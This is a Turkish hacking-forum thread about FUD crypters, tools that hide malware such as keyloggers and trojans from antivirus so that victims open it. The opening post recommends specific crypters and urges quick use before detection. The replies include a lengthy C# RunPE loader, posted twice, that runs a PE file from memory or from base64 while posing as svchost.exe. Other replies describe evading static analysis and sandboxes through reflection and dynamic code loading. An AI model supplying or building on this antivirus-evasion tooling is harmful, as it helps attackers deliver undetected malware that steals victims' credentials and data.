Fud Crypter ve Fud Crypter Nasıl Yapılır?





FUD (Full Undetected), normal şartlarda antivirüs yazılımları tarafından yakalanması gereken içerisinde zararlı kod parçacıkları barındıran dosyaların tamamının antivirüs yazılımları tarafından tanınmaması anlamına gelir. Keylogger ve Trojan gibi kimlik avı için kullanılan kötü niyetli yazılımları hazırlamak oldukça kolaydır ancak bu kötü niyetli yazılımların kullanıcılar tarafından açılması her zaman sanıldığı kadar kolay olmayabilir.

İnternet tehditleri nedeniyle bilgisayar kullanıcılarının artık büyük bir kısmı bilgisayarında aktif bir koruma kalkanı (Firewall) kullanıyor. Bu dosyayı henüz kullanıcılar bilgisayarına indirirken antivirüs yazılımları bu zararlı yazılımları algılıyor ve kullanıcının bu yazılımı açmasını engellemek amacıyla karantinaya taşıyor veya disk üzerinden temizliyor. Zararlı yazılımlar FUD edildiklerinde ise antivirüs yazılımları bu zararlı yazılımları tanıyıp, algılayamıyor. Kullanıcılar da antivirüs yazılımının uyarı vermiyor olması nedeniyle bu dosyaları açıyor ve bilgisayarlarına zararlı yazılımların müdahale etmesine şans tanıyorlar.

FUD Crypter

FUD Crypter veya Full Undetected Crypter, içerisinde zararlı yazılım barındıran dosyaları tersine mühendislik yöntemlerine kapatmak ve bu dosyaları antivirüsler tarafından tanınamaz hale getirmek için kullanılan otomatikleştirilen yazılımlardır. FUD Crypter’lar yardımıyla bir saldırgan istediği antivirüs yazılımını büyük ölçüde antivirüsler ve virüs taraması yapmaya yardımcı olan Online servislerden kaçırabilir.

FUD Crypter Nasıl Yapılır?

Elinizde bulunan bir dosyayı antivirüsler tarafından tanınamaz hale getirmek istiyorsanız, bu işlem için kullanabileceğiniz birçok FUD Crypter yazılım bulunuyor. Özellikle kişisel kullanıcıların kendini geliştirmek amacıyla kullanabileceği CypherX’i kullanabilirler.

Daha profesyonel amaçlı bir FUD Crypter istiyorsanız ya kendinizin FUD Crypter tasarlamayı öğrenmesi yada ücretli olarak geliştirilen FUD Crypter yazılımlarından/yazılım paketlerinden herhangi birini satın almalısınız. Peki, FUD hale getirilen bir dosya ne kadar işe yarardır?

FUD hale getirilen dosyalar yanlızca çok kısa bir süreliğine antivirüslerden kaçmayı başaracak. Bu nedenle kısa süre içerisinde hazırlanıp kullanılması gerekir.

Her FUD hale getirilen dosyalar tüm antivirüs programları tarafından yakalanmıyacak diye birşey yoktur. İstisna durumlar olsa da bazı antivirüs programları kolay bir şekilde FUD dosyaların içinde bulunan zararlı yazılımları yakalayabilmektedir.

FUD olarak hazırlanan dosyalar profesyonel konularda kullanılması uygun değildir.




 

MonoMonsters

Yeni üye
20 May 2022
13
2
2 yıldır yapmaya ugrastıgım ve asla yapmadıgım programdır fud crypter ve keske yapabılsem ama asla yapamıcam
 

BlackDynamite

Katılımcı Üye
7 Kas 2023
824
317
2 yıldır yapmaya ugrastıgım ve asla yapmadıgım programdır fud crypter ve keske yapabılsem ama asla yapamıcam
uğrasırsan yaparsın öyle deme ben crypterların baya mantığını öğrendim yani tam seklilde kodluyacam bi tane





FUD (Full Undetected), normal şartlarda antivirüs yazılımları tarafından yakalanması gereken içerisinde zararlı kod parçacıkları barındıran dosyaların tamamının antivirüs yazılımları tarafından tanınmaması anlamına gelir. Keylogger ve Trojan gibi kimlik avı için kullanılan kötü niyetli yazılımları hazırlamak oldukça kolaydır ancak bu kötü niyetli yazılımların kullanıcılar tarafından açılması her zaman sanıldığı kadar kolay olmayabilir.

İnternet tehditleri nedeniyle bilgisayar kullanıcılarının artık büyük bir kısmı bilgisayarında aktif bir koruma kalkanı (Firewall) kullanıyor. Bu dosyayı henüz kullanıcılar bilgisayarına indirirken antivirüs yazılımları bu zararlı yazılımları algılıyor ve kullanıcının bu yazılımı açmasını engellemek amacıyla karantinaya taşıyor veya disk üzerinden temizliyor. Zararlı yazılımlar FUD edildiklerinde ise antivirüs yazılımları bu zararlı yazılımları tanıyıp, algılayamıyor. Kullanıcılar da antivirüs yazılımının uyarı vermiyor olması nedeniyle bu dosyaları açıyor ve bilgisayarlarına zararlı yazılımların müdahale etmesine şans tanıyorlar.

FUD Crypter

FUD Crypter veya Full Undetected Crypter, içerisinde zararlı yazılım barındıran dosyaları tersine mühendislik yöntemlerine kapatmak ve bu dosyaları antivirüsler tarafından tanınamaz hale getirmek için kullanılan otomatikleştirilen yazılımlardır. FUD Crypter’lar yardımıyla bir saldırgan istediği antivirüs yazılımını büyük ölçüde antivirüsler ve virüs taraması yapmaya yardımcı olan Online servislerden kaçırabilir.

FUD Crypter Nasıl Yapılır?

Elinizde bulunan bir dosyayı antivirüsler tarafından tanınamaz hale getirmek istiyorsanız, bu işlem için kullanabileceğiniz birçok FUD Crypter yazılım bulunuyor. Özellikle kişisel kullanıcıların kendini geliştirmek amacıyla kullanabileceği CypherX’i kullanabilirler.

Daha profesyonel amaçlı bir FUD Crypter istiyorsanız ya kendinizin FUD Crypter tasarlamayı öğrenmesi yada ücretli olarak geliştirilen FUD Crypter yazılımlarından/yazılım paketlerinden herhangi birini satın almalısınız. Peki, FUD hale getirilen bir dosya ne kadar işe yarardır?

FUD hale getirilen dosyalar yanlızca çok kısa bir süreliğine antivirüslerden kaçmayı başaracak. Bu nedenle kısa süre içerisinde hazırlanıp kullanılması gerekir.

Her FUD hale getirilen dosyalar tüm antivirüs programları tarafından yakalanmıyacak diye birşey yoktur. İstisna durumlar olsa da bazı antivirüs programları kolay bir şekilde FUD dosyaların içinde bulunan zararlı yazılımları yakalayabilmektedir.

FUD olarak hazırlanan dosyalar profesyonel konularda kullanılması uygun değildir.




bazı yapılan crypterları 6 ay görmeyen bile olabilir kuvvetli iyi bir algoritma kullanılırsa ve bide üstüne native dille yazılırsa incelenmesi zorlasır
 
Eline sağlık güzel çalışma..
Elinize sağlık hocam👍🙏
Teşekkür ederim

2 yıldır yapmaya ugrastıgım ve asla yapmadıgım programdır fud crypter ve keske yapabılsem ama asla yapamıcam
Bence bırakmamalısın yaptıklarını herşey tam bitti olmuyor dediğin zaman olmaya başlar

bazı yapılan crypterları 6 ay görmeyen bile olabilir kuvvetli iyi bir algoritma kullanılırsa ve bide üstüne native dille yazılırsa incelenmesi zorlasır
Çözülmeleriyle alakalı olan bir durum
 

alexandre20

Katılımcı Üye
13 Tem 2022
909
715
Eline sağlık güzel çalışma..
Neresi güzel çalışma tam olarak? FUD Crypter yapımı ile alakalı tek bir satır yazılmamış, sadece "şunu kullanın" yazmış konu sahibi. Verdiği crypter da 500 kere fingerprintlenmiş artık tek bir antivirüs bile geçemez. gidip nullsoft packer kullansan bile daha az detection alırsın VT'de.
 
Neresi güzel çalışma tam olarak? FUD Crypter yapımı ile alakalı tek bir satır yazılmamış, sadece "şunu kullanın" yazmış konu sahibi. Verdiği crypter da 500 kere fingerprintlenmiş artık tek bir antivirüs bile geçemez. gidip nullsoft packer kullansan bile daha az detection alırsın VT'de.
Daha iyisini sizden bekliyoruz O zaman

Elinize sağlık Kamutay hocam. Beklediğim bir konuydu
Teşekkür ederim
 

BlackDynamite

Katılımcı Üye
7 Kas 2023
824
317
Neresi güzel çalışma tam olarak? FUD Crypter yapımı ile alakalı tek bir satır yazılmamış, sadece "şunu kullanın" yazmış konu sahibi. Verdiği crypter da 500 kere fingerprintlenmiş artık tek bir antivirüs bile geçemez. gidip nullsoft packer kullansan bile daha az detection alırsın VT'de.
daha iyisini biliyorsan çek madem hadi
 

tamam ağa

Uzman üye
7 Haz 2023
1,474
841
Konuda teknik bilgi harici herşey var bare konunun adını değiştirseydin.
klip beyt gibi olmuş
 

tamam ağa

Uzman üye
7 Haz 2023
1,474
841
daha iyisini biliyorsan çek madem hadi
Haklı adam teknik açıdan hiçbir bilgi vermemiş ama konu başlığı crypter nasıl yapılır? ..???

misal bak aşağıdaki Runpe'nin dahi teknik bir bilgisi vardır oturursun bunu adam akıllı anlatırsın o zaman crypter nasıl yapılır başlığı atarsın anlarımda neyse daha fazla uzatmıcam.


C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Linq;
using RunPE.Internals;
using RunPE.Patchers;

namespace RunPE
{
    internal static class Program
    {
        private const uint EXECUTION_TIMEOUT = 30000;

        internal static Encoding encoding;

        private static int Main(string[] args)
        {

#if BREAK
            Console.WriteLine("[*] Press Enter to continue...");
            Console.ReadLine();
            Console.WriteLine("[*] Continuing...");
#endif

            try
            {
                if (IntPtr.Size != 8)
                {
                    Console.WriteLine("\n[-] Process is not 64-bit, this version of run-exe won't work !\n");
                    return -1;
                } else

                if (args.Length == 0)
                {
                    PrintUsage();
                    return -2;
                }

                var peRunDetails = ParseArgs(args.ToList());

                if(peRunDetails == null)
                {
                    return -10;
                }

                var peMapper = new PEMapper();
                peMapper.MapPEIntoMemory(peRunDetails.binaryBytes, out var pe, out var currentBase);

                var importResolver = new ImportResolver();
                importResolver.ResolveImports(pe, currentBase);

                peMapper.SetPagePermissions();

                var argumentHandler = new ArgumentHandler();
                if (!argumentHandler.UpdateArgs(peRunDetails.filename, peRunDetails.args))
                {
                    return -3;
                }

                var fileDescriptorRedirector = new FileDescriptorRedirector();
                if (!fileDescriptorRedirector.RedirectFileDescriptors())
                {
                    Console.WriteLine("[-] Unable to redirect file descriptors");
                    return -7;
                }

                var extraEnvironmentalPatcher = new ExtraEnvironmentPatcher((IntPtr)currentBase);
                extraEnvironmentalPatcher.PerformExtraEnvironmentPatches();

                // Patch this last as may interfere with other activity
                var extraAPIPatcher = new ExtraAPIPatcher();

                if (!extraAPIPatcher.PatchAPIs((IntPtr)currentBase))
                {
                    return -9;
                }
               
                var exitPatcher = new ExitPatcher();
                if (!exitPatcher.PatchExit())
                {
                    return -8;
                }

                fileDescriptorRedirector.StartReadFromPipe();

#if BREAK
                Console.WriteLine("Press Enter to continue...");
                Console.ReadLine();
#endif
                StartExecution(peRunDetails.args, pe, currentBase);
#if BREAK
                Console.WriteLine("Done, press enter...");
                Console.ReadLine();
#endif

                // Revert changes
                exitPatcher.ResetExitFunctions();
                extraAPIPatcher.RevertAPIs();
                extraEnvironmentalPatcher.RevertExtraPatches();
                fileDescriptorRedirector.ResetFileDescriptors();
                argumentHandler.ResetArgs();
                peMapper.ClearPE();
                importResolver.ResetImports();

                // Print the output
                var output = fileDescriptorRedirector.ReadDescriptorOutput();

#if DEBUG
                Console.WriteLine("\n------------------------ EXE OUTPUT -------------------------\n");
#endif
                Console.WriteLine(output);
#if DEBUG
                Console.WriteLine("\n--------------------- END OF EXE OUTPUT ---------------------\n");
                Console.WriteLine("[+] End of RunPE\n");
#endif
#if BREAK
                Console.WriteLine("Press Enter to quit\n");
                Console.ReadLine();
#endif
                return 0;
            }
            catch (Exception e)
            {
                Console.WriteLine($"[-] Error running RunPE: {e}");
                return -6;
            }
        }

        private static void StartExecution(string[] binaryArgs, PELoader pe, long currentBase)
        {

#if DEBUG
            Console.WriteLine($"\n[*] Executing loaded PE\n");
#endif
            try
            {
                var threadStart = (IntPtr)(currentBase + (int)pe.OptionalHeader64.AddressOfEntryPoint);
                var hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

                NativeDeclarations.WaitForSingleObject(hThread, EXECUTION_TIMEOUT);
            }
            catch (Exception e)
            {
                Console.WriteLine($"[-] Error {e}\n");
            }

        }

        private static PeRunDetails ParseArgs(List<string> args)
        {
            string filename;
            string[] binaryArgs;
            byte[] binaryBytes;

            if(args.Contains("---f") || args.Contains("---b"))
            {
                if(!(args.Contains("---f") && args.Contains("---b")))
                {
                    PrintUsage();
                    return null;
                }

                filename = args[args.IndexOf("---f") + 1];
                if (args.Contains("---a")) {
                    binaryArgs = Encoding.UTF8.GetString(Convert.FromBase64String(args[args.IndexOf("---a") + 1])).Split();
                } else
                {
                    binaryArgs = new string[] { };
                }
               
                binaryBytes = Convert.FromBase64String(args[args.IndexOf("---b") + 1]);
#if DEBUG
                Console.WriteLine($"[*] Running base64 encoded binary as file {filename} with args: '{string.Join(" ", binaryArgs)}'");
#endif
            }
            else
            {
                filename = args[0];
                binaryBytes = File.ReadAllBytes(filename);
                if(args.Count > 1)
                {
                    binaryArgs = new string[args.Count - 1];
                    Array.Copy(args.ToArray(), 1, binaryArgs, 0, args.Count - 1);
    #if DEBUG
                    Console.WriteLine($"[*] Running: {filename} with args: '{string.Join(" ", binaryArgs)}'");
    #endif
                }
                else
                {
                    binaryArgs = new string[] { };
    #if DEBUG
                    Console.WriteLine($"[*] Running: {filename} with no args");
    #endif
                }
            }
            return new PeRunDetails { filename = filename, args = binaryArgs, binaryBytes = binaryBytes};
        }

        private static void PrintUsage()
        {
            Console.WriteLine($"Usage: RunPE.exe <file-to-run> <args-to-file-to-run>");
            Console.WriteLine($"\te.g. RunPE.exe C:\\Windows\\System32\\net.exe localgroup administrators");
            Console.WriteLine($"\nAlternative usage: RunPE.exe ---f <file-to-pretend-to-be> ---b <base64 blob of file bytes> ---a <base64 blob of args>");
            Console.WriteLine($"\te.g: RunPE.exe ---f C:\\Windows\\System32\\svchost.exe ---b <net.exe, base64 encoded> ---a <localgroup administrators, base64 encoded>");
        }

    }

    internal class PeRunDetails
    {
        internal string filename;
        internal string[] args;
        internal byte[] binaryBytes;
    }

}
 

BlackDynamite

Katılımcı Üye
7 Kas 2023
824
317
Haklı adam teknik açıdan hiçbir bilgi vermemiş ama konu başlığı crypter nasıl yapılır? ..???

misal bak aşağıdaki Runpe'nin dahi teknik bir bilgisi vardır oturursun bunu adam akıllı anlatırsın o zaman crypter nasıl yapılır başlığı atarsın anlarımda neyse daha fazla uzatmıcam.


C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Linq;
using RunPE.Internals;
using RunPE.Patchers;

namespace RunPE
{
    internal static class Program
    {
        private const uint EXECUTION_TIMEOUT = 30000;

        internal static Encoding encoding;

        private static int Main(string[] args)
        {

#if BREAK
            Console.WriteLine("[*] Press Enter to continue...");
            Console.ReadLine();
            Console.WriteLine("[*] Continuing...");
#endif

            try
            {
                if (IntPtr.Size != 8)
                {
                    Console.WriteLine("\n[-] Process is not 64-bit, this version of run-exe won't work !\n");
                    return -1;
                } else

                if (args.Length == 0)
                {
                    PrintUsage();
                    return -2;
                }

                var peRunDetails = ParseArgs(args.ToList());

                if(peRunDetails == null)
                {
                    return -10;
                }

                var peMapper = new PEMapper();
                peMapper.MapPEIntoMemory(peRunDetails.binaryBytes, out var pe, out var currentBase);

                var importResolver = new ImportResolver();
                importResolver.ResolveImports(pe, currentBase);

                peMapper.SetPagePermissions();

                var argumentHandler = new ArgumentHandler();
                if (!argumentHandler.UpdateArgs(peRunDetails.filename, peRunDetails.args))
                {
                    return -3;
                }

                var fileDescriptorRedirector = new FileDescriptorRedirector();
                if (!fileDescriptorRedirector.RedirectFileDescriptors())
                {
                    Console.WriteLine("[-] Unable to redirect file descriptors");
                    return -7;
                }

                var extraEnvironmentalPatcher = new ExtraEnvironmentPatcher((IntPtr)currentBase);
                extraEnvironmentalPatcher.PerformExtraEnvironmentPatches();

                // Patch this last as may interfere with other activity
                var extraAPIPatcher = new ExtraAPIPatcher();

                if (!extraAPIPatcher.PatchAPIs((IntPtr)currentBase))
                {
                    return -9;
                }
              
                var exitPatcher = new ExitPatcher();
                if (!exitPatcher.PatchExit())
                {
                    return -8;
                }

                fileDescriptorRedirector.StartReadFromPipe();

#if BREAK
                Console.WriteLine("Press Enter to continue...");
                Console.ReadLine();
#endif
                StartExecution(peRunDetails.args, pe, currentBase);
#if BREAK
                Console.WriteLine("Done, press enter...");
                Console.ReadLine();
#endif

                // Revert changes
                exitPatcher.ResetExitFunctions();
                extraAPIPatcher.RevertAPIs();
                extraEnvironmentalPatcher.RevertExtraPatches();
                fileDescriptorRedirector.ResetFileDescriptors();
                argumentHandler.ResetArgs();
                peMapper.ClearPE();
                importResolver.ResetImports();

                // Print the output
                var output = fileDescriptorRedirector.ReadDescriptorOutput();

#if DEBUG
                Console.WriteLine("\n------------------------ EXE OUTPUT -------------------------\n");
#endif
                Console.WriteLine(output);
#if DEBUG
                Console.WriteLine("\n--------------------- END OF EXE OUTPUT ---------------------\n");
                Console.WriteLine("[+] End of RunPE\n");
#endif
#if BREAK
                Console.WriteLine("Press Enter to quit\n");
                Console.ReadLine();
#endif
                return 0;
            }
            catch (Exception e)
            {
                Console.WriteLine($"[-] Error running RunPE: {e}");
                return -6;
            }
        }

        private static void StartExecution(string[] binaryArgs, PELoader pe, long currentBase)
        {

#if DEBUG
            Console.WriteLine($"\n[*] Executing loaded PE\n");
#endif
            try
            {
                var threadStart = (IntPtr)(currentBase + (int)pe.OptionalHeader64.AddressOfEntryPoint);
                var hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

                NativeDeclarations.WaitForSingleObject(hThread, EXECUTION_TIMEOUT);
            }
            catch (Exception e)
            {
                Console.WriteLine($"[-] Error {e}\n");
            }

        }

        private static PeRunDetails ParseArgs(List<string> args)
        {
            string filename;
            string[] binaryArgs;
            byte[] binaryBytes;

            if(args.Contains("---f") || args.Contains("---b"))
            {
                if(!(args.Contains("---f") && args.Contains("---b")))
                {
                    PrintUsage();
                    return null;
                }

                filename = args[args.IndexOf("---f") + 1];
                if (args.Contains("---a")) {
                    binaryArgs = Encoding.UTF8.GetString(Convert.FromBase64String(args[args.IndexOf("---a") + 1])).Split();
                } else
                {
                    binaryArgs = new string[] { };
                }
              
                binaryBytes = Convert.FromBase64String(args[args.IndexOf("---b") + 1]);
#if DEBUG
                Console.WriteLine($"[*] Running base64 encoded binary as file {filename} with args: '{string.Join(" ", binaryArgs)}'");
#endif
            }
            else
            {
                filename = args[0];
                binaryBytes = File.ReadAllBytes(filename);
                if(args.Count > 1)
                {
                    binaryArgs = new string[args.Count - 1];
                    Array.Copy(args.ToArray(), 1, binaryArgs, 0, args.Count - 1);
    #if DEBUG
                    Console.WriteLine($"[*] Running: {filename} with args: '{string.Join(" ", binaryArgs)}'");
    #endif
                }
                else
                {
                    binaryArgs = new string[] { };
    #if DEBUG
                    Console.WriteLine($"[*] Running: {filename} with no args");
    #endif
                }
            }
            return new PeRunDetails { filename = filename, args = binaryArgs, binaryBytes = binaryBytes};
        }

        private static void PrintUsage()
        {
            Console.WriteLine($"Usage: RunPE.exe <file-to-run> <args-to-file-to-run>");
            Console.WriteLine($"\te.g. RunPE.exe C:\\Windows\\System32\\net.exe localgroup administrators");
            Console.WriteLine($"\nAlternative usage: RunPE.exe ---f <file-to-pretend-to-be> ---b <base64 blob of file bytes> ---a <base64 blob of args>");
            Console.WriteLine($"\te.g: RunPE.exe ---f C:\\Windows\\System32\\svchost.exe ---b <net.exe, base64 encoded> ---a <localgroup administrators, base64 encoded>");
        }

    }

    internal class PeRunDetails
    {
        internal string filename;
        internal string[] args;
        internal byte[] binaryBytes;
    }

}
hocam madem bilginiz var sizde ratlar hakkında biraz video lu konu paylassanız güzel olur
 

alexandre20

Katılımcı Üye
13 Tem 2022
909
715
daha iyisini biliyorsan çek madem hadi
? :D

Bir konuyu eleştirmek için daha iyisini yapabiliyor olmama gerek yok? Ayrıca statik analizde 0/70 aldırmak basit iş, 2-3 reflection API'si kullanarak tüm method call'larını gizleyebiliyorsun ve dinamik olarak kod load edebiliyorsun. Al sana mis gibi UD app.

Taa ki bir sandboxa girene kadar.... Zaten işin zor kısmı kodu sembolik execution yolu ile (veya sandboxta direkt) çalıştıran antivirüsleri geçmek. Adamlar aklına gelebilecek herşeyi emule ediyorlar kaçışı yok.

O exe, ilk 10 saniyede olmasa bile 1-2 saat içerisinde fingerprint'lenip her yere dağıtılır tek bir antivirüsten de geçmez. FUDlama olayının ekmeğini yemesem belki konu açıp seni aydınlatırdım ama şimdilik gizli kalsın bu anti sandbox AV metodları :D :D

Al bak, basit bir anti-statik-analiz örneği vereyim sana yol gösterir belki ;)

image.png
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.